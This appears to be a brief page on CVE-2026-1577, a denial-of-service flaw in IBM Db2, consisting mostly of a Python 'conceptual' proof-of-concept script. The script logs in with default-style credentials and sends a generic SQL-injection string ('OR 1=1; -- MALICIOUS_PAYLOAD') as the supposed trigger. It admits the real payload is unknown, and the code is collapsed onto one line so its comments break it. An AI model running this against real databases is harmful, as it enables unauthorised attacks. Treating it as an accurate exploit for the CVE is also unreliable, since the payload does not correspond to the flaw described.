CVE-2026-1577 IBM Db2 拒绝服务漏洞

import ibm_db # Conceptual Proof of Concept for CVE-2026-1577 # This script demonstrates how an authenticated user might trigger the DoS. # Note: The specific payload depends on the exact "special elements" flaw. def trigger_dos(conn_str, user, pwd): try: # Establish connection to the vulnerable Db2 instance conn = ibm_db.connect(conn_str, user, pwd) print("[+] Connected to database.") # Construct a malicious query containing special elements # that are not properly neutralized. # This payload aims to cause a parsing error or resource exhaustion. malicious_query = "SELECT * FROM sensitive_table WHERE id = '1' OR 1=1; -- MALICIOUS_PAYLOAD" # Execute the query stmt = ibm_db.exec_immediate(conn, malicious_query) # If the script hangs here or the connection drops, the DoS might be triggered. result = ibm_db.fetch_both(stmt) print("[!] Query executed. Check server status for potential DoS.") except Exception as e: print(f"[-] An exception occurred: {e}") finally: if 'conn' in locals() and conn: ibm_db.close(conn) if __name__ == "__main__": # Replace with actual connection details connection_string = "DATABASE=testdb;HOSTNAME=192.168.1.100;PORT=50000;PROTOCOL=TCPIP;" db_user = "db2inst1" db_pass = "password" trigger_dos(connection_string, db_user, db_pass)